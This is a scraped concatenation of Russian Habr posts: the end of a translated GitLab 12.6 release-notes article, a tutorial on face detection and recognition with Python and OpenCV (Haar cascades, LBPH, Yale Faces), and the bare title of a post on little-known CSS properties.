[Документация по установке Sentry через GitLab CI](https://docs.gitlab.com/ee/user/clusters/applications.html#install-sentry-using-gitlab-ci) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/26513).
### Доступ к логам подов на вкладке операций
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Ранее не было простого способа переходить напрямую к просмотру лога ваших подов. Для этого вам нужно было перейти во вкладку **Окружения** (**Environments**) в пункте **Операции** (**Operations**), выбрать нужное окружение и кликнуть на нужный под. Теперь, в GitLab 12.6, просматривать логи подов стало просто как никогда. Нажмите на вкладку **Логи пода** (**Pod Logs**) в пункте **Операции**.
[Документация по логам подов Kubernetes](https://docs.gitlab.com/ee/user/project/clusters/kubernetes_pod_logs.html), [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/24088) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2114).
### Улучшение сканирования зависимостей для проектов на Python
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Если ваши зависимости Python хранятся не в `requirements.txt`, а в каком-то другом файле, то, начиная с GitLab 12.6, вы сможете задавать файл зависимостей через переменную `PIP_REQUIREMENTS_FILE`.
[Документация по доступным переменным](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#available-variables) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/8524).
### Поддержка SAST для фреймворка React (JavaScript)
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Если у вас есть проекты, написанные с использованием фреймворка JavaScript React, то теперь вы сможете пользоваться нашими сканированиями [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) для поиска проблем с безопасностью.
[Документация по поддерживаемым языкам и фреймворкам](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/11069).
### Сканирование зависимостей для проектов Scala при помощи менеджера пакетов sbt
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
В GitLab 12.6 мы добавили поддержку для Scala с [менеджером пакетов sbt](https://www.scala-sbt.org/) в сканировании зависимостей. Теперь вы сможете сканировать проекты на Scala для поиска потенциальных уязвимостей.
[Документация по поддерживаемым языкам и менеджерам пакетов](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/12390).
### Возможность редактировать групповые веб-хуки
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ["Enablement"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Групповые веб-хуки теперь можно редактировать. Ранее их можно было только создавать и удалять, так что для их изменения приходилось удалять уже существующий веб-хук и создавать новый. В этом релизе мы добавили возможность редактировать веб-хуки через пользовательский интерфейс, что позволит вам сэкономить время и силы при работе с ними.
[Документация по расширенным настройкам группы](https://docs.gitlab.com/ee/user/group/#advanced-settings), [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/10433) и [мерж-реквест](https://gitlab.com/gitlab-org/gitlab/merge_requests/20898).
### Отключаемые комментарии в тикетах Jira
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ["Enablement"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Когда у пользователя подключена [интеграция GitLab с Jira](https://docs.gitlab.com/ee/user/project/integrations/jira.html), в Jira публикуются комментарии, когда происходит активность в GitLab. Это обновление позволит пользователям [отключать эти комментарии](https://docs.gitlab.com/ee/user/project/integrations/jira.html#disabling-comments-on-jira-issues) для конкретной интеграции на странице настроек.
Это будет удобно для пользователей, которые не хотят видеть комментарии, но хотят автоматически добавлять тикеты Jira к проектам GitLab. Кроме того, возможны сценарии использования, при которых есть пользователи Jira, которые *не должны иметь доступ* к активности в репозитории по причине их конфиденциальности. В обоих случаях вам пригодится более точная настройка содержимого этих сообщений.
[Документация по отключению комментариев к тикетам Jira](https://docs.gitlab.com/ee/user/project/integrations/jira.html#disabling-comments-on-jira-issues), [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/20321) и [мерж-реквест](https://gitlab.com/gitlab-org/gitlab/merge_requests/19004).
### Сортировка участников групп по пользователям, добавленным напрямую
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Есть два способа получить доступ к закрытому проекту или группе:
а) вас могут добавить к конкретному проекту или в группу напрямую
б) вы можете [унаследовать доступ из вышестоящей группы](https://docs.gitlab.com/ee/user/group/subgroups/index.html#membership).
В GitLab 12.6 стало проще понимать, как пользователь получил доступ к проекту или группе, благодаря фильтру для сортировки таблицы участников по пользователям, добавленным напрямую или по пользователям с унаследованными правами.
Это особенно полезно для групп с [внешними пользователями](https://docs.gitlab.com/ee/user/permissions.html#external-users-core-only) или инстансов, использующих [группы для уведомления команд](https://docs.gitlab.com/ee/user/group/#use-cases).
[Документация по пользователям с унаследованными правами доступа](https://docs.gitlab.com/ee/user/project/members/#inherited-membership) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/21727).
### Упрощение управления пользователями с помощью токена личного доступа и хранилища ключей SSH
(ULTIMATE) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
По мере роста вашего автономного инстанса GitLab растет и ваша потребность в [средствах контроля соответствия](https://about.gitlab.com/direction/manage/compliance-controls/). По мере добавления новых пользователей, групп, подгрупп и проектов ваш инстанс становится все сложнее. Вам надо ясно видеть, кто имеет доступ к вашему инстансу, чтобы управлять рисками и соответствием требованиям в вашем инстансе.
Чтобы помочь вам в этом деле, мы представляем [MVC](https://about.gitlab.com/handbook/values/#minimum-viable-change-mvc) для хранения учетных данных PAT и SSH. Теперь администраторы могут легко просмотреть важные подробности, например владельца, тип и область действия каждой учетной записи. Также отображается, когда истек срок действия учетных данных, и момент их последнего использования.
[Документация по хранилищу учетных данных](https://docs.gitlab.com/ee/user/admin_area/credentials_inventory.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/36742).
### Запрет оповещений об упоминании группы
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Упоминание группы с большим количеством участников быстро приводит к накоплению большого количества ненужных уведомлений. Чтобы избежать этого, теперь вы можете включить настройку на уровне группы, отключающую уведомления при упоминании группы в тикете или мерж-реквесте.
Спасибо [@fh1ch](https://gitlab.com/fh1ch) и Siemens!
[Документация по отключению оповещений об упоминании группы](https://docs.gitlab.com/ee/user/group/#disabling-group-mentions), [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/21301) и [мерж-реквест](https://gitlab.com/gitlab-org/gitlab/merge_requests/20184).
### Дедупликация форков внутренних проектов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Ветвления позволяют легко внести свой вклад в любой проект: вы создаете копию вышестоящего проекта для работы над ней, а уже потом открываете мерж-реквест для применения ваших изменений к вышестоящему проекту. Для популярных проектов хранилище на стороне сервера содержит тысячи копий. Это приводит к постоянному повышению требований к хранилищу, и увеличивает стоимость хостинга.
В GitLab 12.1 мы представили дедупликацию для публичных проектов, но многие организации ничего от этого не выиграли, потому что они в основном используют внутренние проекты. В GitLab 12.6 создание форка публичных или внутренних проектов создает пул объектов (если он еще не существует) и использует `objects/info/alternates`, чтобы уменьшить требования к хранилищу форков.
Спасибо [Brian Kabiro](https://gitlab.com/briankabiro) за этот [вклад](https://gitlab.com/gitlab-org/gitlab/merge_requests/19295)!
[Документация по типам хранилища и пулам объектов](https://docs.gitlab.com/ee/administration/repository_storage_types.html#hashed-object-pools) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/33318).
### Обновление виджета мерж-реквеста в реальном времени
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Раньше, прежде чем нажать кнопку **«Merge»**, вы должны были обновить страницу, если вы сделали хотя бы небольшое исправление (пуш или принятие предложения). Это замедляет последние этапы ревью при применении окончательных исправлений. В GitLab 12.6 виджет мерж-реквеста теперь обновляется в режиме реального времени, так что вы можете выполнять мерж сразу или после успешного выполнения конвейера.
[Документация по мерж-реквестам](https://docs.gitlab.com/ee/user/project/merge_requests/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/31236).
### Теперь не нужна авторизация клиента для инструментов визуального ревью
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
В GitLab 12.0 мы представили [инструменты визуального ревью](https://about.gitlab.com/blog/2019/06/22/gitlab-12-0-released/#visual-reviews), чтобы пользователи могли оставлять отзывы к мерж-реквестам сразу из приложения для ревью.
В GitLab 12.6 мы упростили использование этого инструмента, избавив от необходимости создавать личный токен доступа для обратной связи.
[Документация по инструментам визуального ревью](https://docs.gitlab.com/ee/ci/review_apps/index.html#visual-reviews-starter) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/29067).
### Унаследованные переменные теперь видны при просмотре проекта
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
При одновременном использовании переменных проекта и группы может быть трудно понять, какие переменные группы существуют и как они могут быть связаны или конфликтовать с переменными уровня проекта. Теперь мы показываем групповые (унаследованные от группы) переменные на странице переменных проекта, что позволяет легко видеть, где определяются переменные.
[Документация по переменным уровня группы](https://docs.gitlab.com/ee/ci/review_apps/index.html#visual-reviews-starter) и
[оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/24172).
### Конечная точка API для списка пакетов группы
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
В рамках реестра пакетов GitLab мы предоставляем [API](https://docs.gitlab.com/ee/api/packages.html), чтобы пользователи могли просматривать, загружать и удалять пакеты. Однако до недавнего времени API был ограничен конкретным проектом, который не давал пользователям понять, какие пакеты существуют на уровне группы.
В GitLab 12.6 мы рады объявить о новой конечной точке API, которая позволит пользователям получать список всех пакетов на уровне группы.
[Документация по API для пакетов](https://docs.gitlab.com/ee/api/packages.html#within-a-group) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/10003).
### Редактирование релиза через страницу релизов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
В GitLab 12.6 мы добавляем возможность редактировать заголовки и заметки релиза прямо в пользовательском интерфейсе вместо использования API GitLab. Это ускоряет и облегчает редактирование релизов.
[Документация по редактированию релизов](https://docs.gitlab.com/ee/user/project/releases/#editing-a-release) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/26016).
### Управление подключением переключаемых фич на основе идентификатора пользователя
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Теперь вы можете определить различные целевые userID для ваших переключаемых фич для каждого окружения. С помощью этой комбинации вы можете нацеливать разных пользователей на продакшн и на staging (или другой этап), что позволит вам полностью контролировать, как, где и кому будет подключена ваша фича.
[Документация по переключаемым фичам](https://docs.gitlab.com/ee/user/project/operations/feature_flags.html#user-ids) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/34363).
### Удаление связанных ресурсов при удалении кластеров Kubernetes
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Повторное использование кластеров между инстансами, группами или проектами может отнимать много времени, поскольку операторы сначала должны убедиться, что все связанные ресурсы кластера (такие как пространства имен, роли, привязки и т. д.) удалены из кластера до его привязки к новой сущности. Часто операторы решают уничтожить кластер и создать новый, чтобы избежать ручного удаления ресурсов.
GitLab теперь позволяет легко удалить все связанные ресурсы кластера при удалении интеграции, что ускоряет и облегчает повторное использование кластеров в других местах.
[Документация по удалению интеграции](https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html#removing-integration) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/26815).
### Автоматическое использование настроенного файла значений для развертывания в Auto DevOps
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Автоматическое развертывание Auto DevOps теперь позволяет выполнять массовую настройку значений в Helm chart. Если просто добавить в проект файл `.gitlab/auto-deploy-values.yaml`, Auto DevOps обнаружит его и будет использовать его значения для развертывания. Это исключает необходимость создания нескольких переменных окружения `HELM_UPGRADE_EXTRA_ARGS` для вашего проекта и также дает преимущество контроля версий.
[Документация по Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#workers) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/30628).
### Cloud Run для поддержки Anthos в кластерах Kubernetes для GKE
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
При создании кластера Kubernetes с помощью интеграции GitLab с GKE пользователи теперь могут при желании включить «Cloud Run on Anthos» одним щелчком мыши. GKE автоматически обеспечит кластер обслуживанием Knative, Istio и балансировкой нагрузки HTTP, а Cloud Run проследит за обновлением кластера. После установки пользователи могут по-прежнему использовать возможности, предоставляемые [GitLab Serverless](https://docs.gitlab.com/ee/user/project/clusters/serverless/) для развертывания служб Knative с минимальной конфигурацией.
**Обратите внимание**. Мы объявили о поддержке Cloud Run для Anthos в GitLab 12.4, однако потом нам пришлось отключить ее из-за проблем совместимости. Мы прилагаем все усилия, чтобы обеспечить надежную интеграцию в будущем.
[Документация по управлению кластерами](https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html#cloud-run-on-gke) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/27502).
### Поддержка Knative 0.9
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Начиная с GitLab 12.6 при установке Knative в качестве управляемого приложения GitLab будет установлена версия 0.9. Это серьезное обновление в жизни Knative. [Knative Serving](https://knative.dev/docs/serving/) получил свои окончательные конечные точки API v1 и считается готовым к продакшну, но конечные точки `beta` и`alpha` по-прежнему доступны. Учитывая стабильный API, это обновление также обеспечивает некоторый уровень прямой совместимости.
[Документация по кластерам](https://docs.gitlab.com/ee/user/project/clusters/serverless/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlabktl/issues/55).
### Отображение последних поисков при фильтрации ошибок
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Вы уже сталкивались с этим. Вы устраняете ошибку, обнаруженную в вашем приложении, и вам приходится часто переключаться между поисками в вашем списке ошибок. Начиная с GitLab 12.6 вы сможете быстро выбирать недавние поиски при фильтрации ошибок.
[Документация по списку ошибок](https://docs.gitlab.com/ee/user/project/operations/error_tracking.html#error-tracking-list) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/34067).
### Сортировка списка ошибок по обнаруженным в первый/последний раз и по частоте
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Ошибок часто так много, что бывает сложно найти важные — те, что влияют на ваших пользователей. Начиная с GitLab 12.6, когда вы просматриваете список ошибок Sentry в GitLab, вы сможете отсортировать ошибки по частоте и по времени, когда ошибка возникла впервые или в последний раз.
[Документация по списку ошибок](https://docs.gitlab.com/ee/user/project/operations/error_tracking.html#error-tracking-list) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/34068).
### Добавлена поддержка PHP для проверки соответствия лицензии
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Если вы используете PHP в своем проекте, то теперь вы можете использовать нашу фичу [соответствие лицензии](https://about.gitlab.com/direction/secure/composition-analysis/license-compliance/) (License Compliance). **Обратите внимание**, что эта фича пока экспериментальная. Мы добавили поддержку PHP, уделяя особое внимание проектам на основе composer (с использованием `composer.lock`).
[Документация по соответствию лицензии](https://docs.gitlab.com/ee/user/application_security/license_compliance/#supported-languages-and-package-managers) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/7739).
### Сканирование зависимостей для Gradle-проектов на Java
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Пользователи с проектами [Gradle на Java](https://gradle.org/) теперь могут использовать нашу фичу [сканирование зависимостей](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/).
[Документация по сканированию зависимостей](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/13075).
### SAST для манифестов Kubernetes
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Манифесты Kubernetes теперь можно проверять на наличие конфиденциальных данных, таких как секретные ключи и привилегии, используя [`kubesec`](https://kubesec.io/).
[Документация по поддерживаемым SAST языкам и фреймворкам](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/12752).
### SAST теперь работает с частными зависимостями
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Проекты с зависимостями, размещенными в частном репозитории, теперь могут передавать учетные данные аутентификации для частного репозитория в контейнер SAST, чтобы команда анализа могла их использовать.
[Документация по безопасности SAST и использованию переменных окружения для передачи учетных данных](https://docs.gitlab.com/ee/user/application_security/sast/#using-environment-variables-to-pass-credentials-for-private-repositories) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/11137).
### Логи веб-хуков теперь доступны для интеграции CI
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ["Enablement"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Чтобы помочь пользователям в устранении неполадок интеграции CI, мы добавили лог последних событий на страницы настройки интеграции. Он доступен на страницах настроек интеграции для Jenkins, Packagist, Team City, DroneCI, Buildkite и Bamboo. В этом новом разделе перечислены события, которые использовали эту интеграцию за последние два дня.
Это особенно ценно, когда вы пытаетесь устранить неполадки, возникающие при сбое интеграции, поскольку ранее в интерфейсе пользователя не было места, где бы прямо отображались эти ошибки. Теперь вы сможете легко понять, что и почему сломалось (а что сейчас работает!).
[Документация по интеграции CI](https://docs.gitlab.com/ee/user/project/integrations/project_services.html), [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/34285) и [мерж-реквест](https://gitlab.com/gitlab-org/gitlab/merge_requests/20976).
### Сокращение использования памяти GitLab с помощью Puma (экспериментальная фича)
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ["Enablement"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Чтобы уменьшить требования GitLab к использованию памяти, мы переходим с [Unicorn](https://bogomips.org/unicorn/) на [Puma](https://puma.io). Puma поддерживает многопоточность, что поможет уменьшить объем используемой GitLab памяти примерно на 30%.
Поддержка Puma в настоящее время является экспериментальной, но мы работаем над тем, чтобы [включить Puma по умолчанию](https://gitlab.com/gitlab-org/gitlab/issues/31765) в 13.0. Вы можете попробовать эту фичу на [тестовой системе](https://docs.gitlab.com/omnibus/settings/puma.html) уже сегодня и [сообщить о любых проблемах](https://gitlab.com/gitlab-org/gitlab/issues/new?issue).
[Документация по Puma](https://docs.gitlab.com/omnibus/settings/puma.html) и [оригинальный тикет](https://gitlab.com/groups/gitlab-org/-/epics/954).
---
Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: [GitLab 12.6 released with Security Scorecard and Release Evidence](https://about.gitlab.com/blog/2019/12/22/gitlab-12-6-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/483762/ | null | ru | null |
# Распознаем лица на фото с помощью Python и OpenCV
В этой статье я хотел бы остановиться на алгоритмах распознавания лиц, а заодно познакомить вас с очень интересной и полезной библиотекой OpenCV. Уверен, что этот материал окажется полезным для новичков в этой области.
Что нам понадобится:
• Установленный Python 2.7 с библиотеками NumPy и PIL
• OpenCV 2-й версии
[Здесь](http://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_setup/py_setup_in_windows/py_setup_in_windows.html) ссылка на материал по установке всех необходимых компонентов. Установка всего необходимого не составит труда.
Для начала давайте разберемся, как распознать лицо на фотографии. Во-первых, нужно найти, где на фото расположено лицо человека и не спутать его с часами на стене и кактусом на подоконнике. Казалось бы, простая задача для человека, оказывается не такой простой для компьютера. Для того, чтобы найти лицо мы должны выделить его основные компоненты, такие как нос, лоб, глаза, губы и т.д. Для этого будем использовать шаблоны (они же примитивы Хаара) на подобие таких:
Если шаблоны соответствуют конкретным областям на изображении, будем считать, что на изображении есть человеческое лицо. На самом деле подобных шаблонов гораздо больше. Для каждого из них считается разность между яркостью белой и черной областей. Это значение сравнивается с эталоном и принимается решение о том, есть ли здесь часть человеческого лица или нет.
Этот метод называется методом Виолы-Джонса (так же известен как каскады Хаара). Давайте представим, что у нас на фотографии не одно большое лицо, а много мелких. Если применить шаблоны ко всей картинке мы не найдем там лиц, т.к. они будут меньше шаблонов. Для того чтобы искать на всем фото лица разных размеров используется метод скользящего окна. Именно внутри этого окна и высчитываются примитивы. Окно как бы скользит по всему изображению. После каждого прохождения изображения окно увеличивается, чтобы найти лица большего масштаба.
Наглядно демонстрацию алгоритма можно посмотреть на этом видео:
И так мы нашли лицо на фотографии, но как определить, что это лицо именно того кого мы ищем? Для решения этой задачи будем использовать алгоритм Local Binary Patterns. Суть его заключается в том, что мы разбиваем изображение на части и в каждой такой части каждый пиксель сравнивается с соседними 8 пикселями. Если значение центрального пикселя больше соседнего, то пишем 0, в противном случае 1. И так для каждого пикселя у нас получается некоторое число. Далее на основе этих чисел для всех частей, на которые мы разбивали фотографию, считается гистограмма. Все гистограммы со всех частей объединяются в один вектор характеризующий изображение в целом. Если мы хотим узнать насколько похожи два лица, нам придется вычислить для каждого из них такой вектор и сравнить их. Рисунки ниже помогут лучше понять суть алгоритма:
Ну хорошо, давайте, наконец напишем немного кода. За основу я взял код из этой [статьи](http://hanzratech.in/2015/02/03/face-recognition-using-opencv.html).
```
# Импортируем необходимые модули
import cv2, os
import numpy as np
from PIL import Image
# Для детектирования лиц используем каскады Хаара
cascadePath = "haarcascade_frontalface_default.xml"
faceCascade = cv2.CascadeClassifier(cascadePath)
# Для распознавания используем локальные бинарные шаблоны
recognizer = cv2.createLBPHFaceRecognizer(1,8,8,8,123)
```
Параметр cascadePath содержит имя файла с уже готовыми значениями для распознавания лиц. Этот файл можно взять из директории с OpenCV (opencv\build\etc\haarcascades\).
Далее создаем объект CascadeClassifier и объект распознавания лиц LBPHFaceRecognizer. На последнем остановимся поподробнее, точнее, на его параметрах. Первые два значения 1 и 8 характеризуют окрестности пикселя. Наглядно, что это такое можно продемонстрировать этой картинкой:
То есть первое число это радиус в котором мы выбираем пиксели, а второй число этих пикселей. Чем больше пикселей в окрестности точки мы возьмем, тем точнее будет наше распознавание.
Следующие параметры (8,8) характеризуют размеры областей на которые мы разбиваем исходное изображение с лицом. Чем оно меньше, тем больше будет таких областей и тем качественнее распознавание.
И наконец, последнее значение это параметр confidence threshold, определяющий пороговое значение для распознавания лица. Чем меньше confidence тем больше алгоритм уверен в том, что на фотографии изображено известное ему лицо. Порог означает, что когда уверенности мало алгоритм просто считает это лицо незнакомым. В данном случае порог равен 123.
Идем дальше. Напишем функцию, которая находит по определенному пути во всех фотографиях лица людей и сохраняет их.
```
def get_images(path):
# Ищем все фотографии и записываем их в image_paths
image_paths = [os.path.join(path, f) for f in os.listdir(path) if not f.endswith('.happy')]
images = []
labels = []
for image_path in image_paths:
# Переводим изображение в черно-белый формат и приводим его к формату массива
gray = Image.open(image_path).convert('L')
image = np.array(gray, 'uint8')
# Из каждого имени файла извлекаем номер человека, изображенного на фото
subject_number = int(os.path.split(image_path)[1].split(".")[0].replace("subject", ""))
# Определяем области где есть лица
faces = faceCascade.detectMultiScale(image, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30))
# Если лицо нашлось добавляем его в список images, а соответствующий ему номер в список labels
for (x, y, w, h) in faces:
images.append(image[y: y + h, x: x + w])
labels.append(subject_number)
# В окне показываем изображение
cv2.imshow("", image[y: y + h, x: x + w])
cv2.waitKey(50)
return images, labels
```
Для примера я использовал БД лиц под названием [Yale Faces](https://github.com/galvanom/FaceRecognition/blob/master/yalefaces.zip). В ней есть 15 человек с разными выражениями лиц на каждой фотографии.
Имя каждого файла в этой БД выглядит следующим образом: subject01.sad. Сначала идет слово subject, далее порядковый номер человека, а после характеристика фото. Например, характеристика sad означает грустное лицо, happy веселое и т.п.
Функция get\_images считывает каждую фотографию, кроме тех, что с окончанием .happy и выделяет ту область, где находится лицо. Фотографии с веселым выражением лица будем использовать на следующем шаге для распознавания, это будет контрольная выборка, т.е. те фото на которых мы будем проверять качество распознавания.
Так же из каждого названия файла извлекается номер человека на фотографии и сохраняется список labels. Каждой фотографии в итоге будет сопоставлен этот номер.
Функция faceCascade.detectMultiScale() определяет области на фотографии, где есть человеческие
лица. Она возвращает список с параметрами [x,y,w,h] для каждого найденного лица. Эти
параметры описывают прямоугольную область в том месте, где нашлось лицо.
Теперь давайте разберемся с параметрами функции:
**image** – исходное изображение
**scaleFactor** – определяет то, на сколько будет увеличиваться скользящее окно поиска на каждой итерации. 1.1 означает на 10%, 1.05 на 5% и т.д. Чем больше это значение, тем быстрее работает алгоритм.
**minNeighbors** — Чем больше это значение, тем более параноидальным будет поиск и тем чаще он будет пропускать реальные лица, считая, что это ложное срабатывание. Оптимальное значение 3-6.
**minSize** – минимальный размер лица на фото. 30 на 30 обычно вполне достаточно.
Ну что же, теперь мы можем создать набор лиц и соответствующих им меток. Давайте научим программу распознавать эти лица.
```
# Путь к фотографиям
path = './yalefaces'
# Получаем лица и соответствующие им номера
images, labels = get_images(path)
cv2.destroyAllWindows()
# Обучаем программу распознавать лица
recognizer.train(images, np.array(labels))
```
Указываем путь к нашим фото, получаем список с фотографиями и метками. А дальше запускаем нашу функцию тренировки с помощью алгоритма LBP. Ничего сверхъестественного в ней нет, просто передаем ей значения, полученные после запуска функции get\_images(). Все остальное программа сделает сама.
И так у нас есть обученный «распознаватель» и есть набор счастливых лиц. Теперь нам необходимо попросить алгоритм распознать эти счастливые лица.
```
# Создаем список фотографий для распознавания
image_paths = [os.path.join(path, f) for f in os.listdir(path) if f.endswith('.happy')]
for image_path in image_paths:
# Ищем лица на фотографиях
gray = Image.open(image_path).convert('L')
image = np.array(gray, 'uint8')
faces = faceCascade.detectMultiScale(image, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30))
for (x, y, w, h) in faces:
# Если лица найдены, пытаемся распознать их
# Функция recognizer.predict в случае успешного распознавания возвращает номер и параметр confidence,
# этот параметр указывает на уверенность алгоритма, что это именно тот человек, чем он меньше, тем больше уверенность
number_predicted, conf = recognizer.predict(image[y: y + h, x: x + w])
# Извлекаем настоящий номер человека на фото и сравниваем с тем, что выдал алгоритм
number_actual = int(os.path.split(image_path)[1].split(".")[0].replace("subject", ""))
if number_actual == number_predicted:
print "{} is Correctly Recognized with confidence {}".format(number_actual, conf)
else:
print "{} is Incorrect Recognized as {}".format(number_actual, number_predicted)
cv2.imshow("Recognizing Face", image[y: y + h, x: x + w])
cv2.waitKey(1000)
```
В цикле опять определяем расположение лица на каждом фото с окончанием .happy. Все параметры и процедуры такие же, как и на предыдущем этапе.
Для каждого найденного лица запускаем функцию recognizer.predict(), возвращающую номер-идентификатор субъекта, который предположительно находится на фото, а так же параметр confidence. Далее сравниваем значение, которое нам вернула функция с реальным номером субъекта, если они равны, распознавание прошло успешно.
Ну, вот и все, дальше в консоль выводятся результаты распознавания для каждой фотографии из контрольной выборки.
Исходный код программы можно найти [здесь](https://github.com/galvanom/FaceRecognition). | https://habr.com/ru/post/301096/ | null | ru | null |
# Малоизвестные CSS-свойства
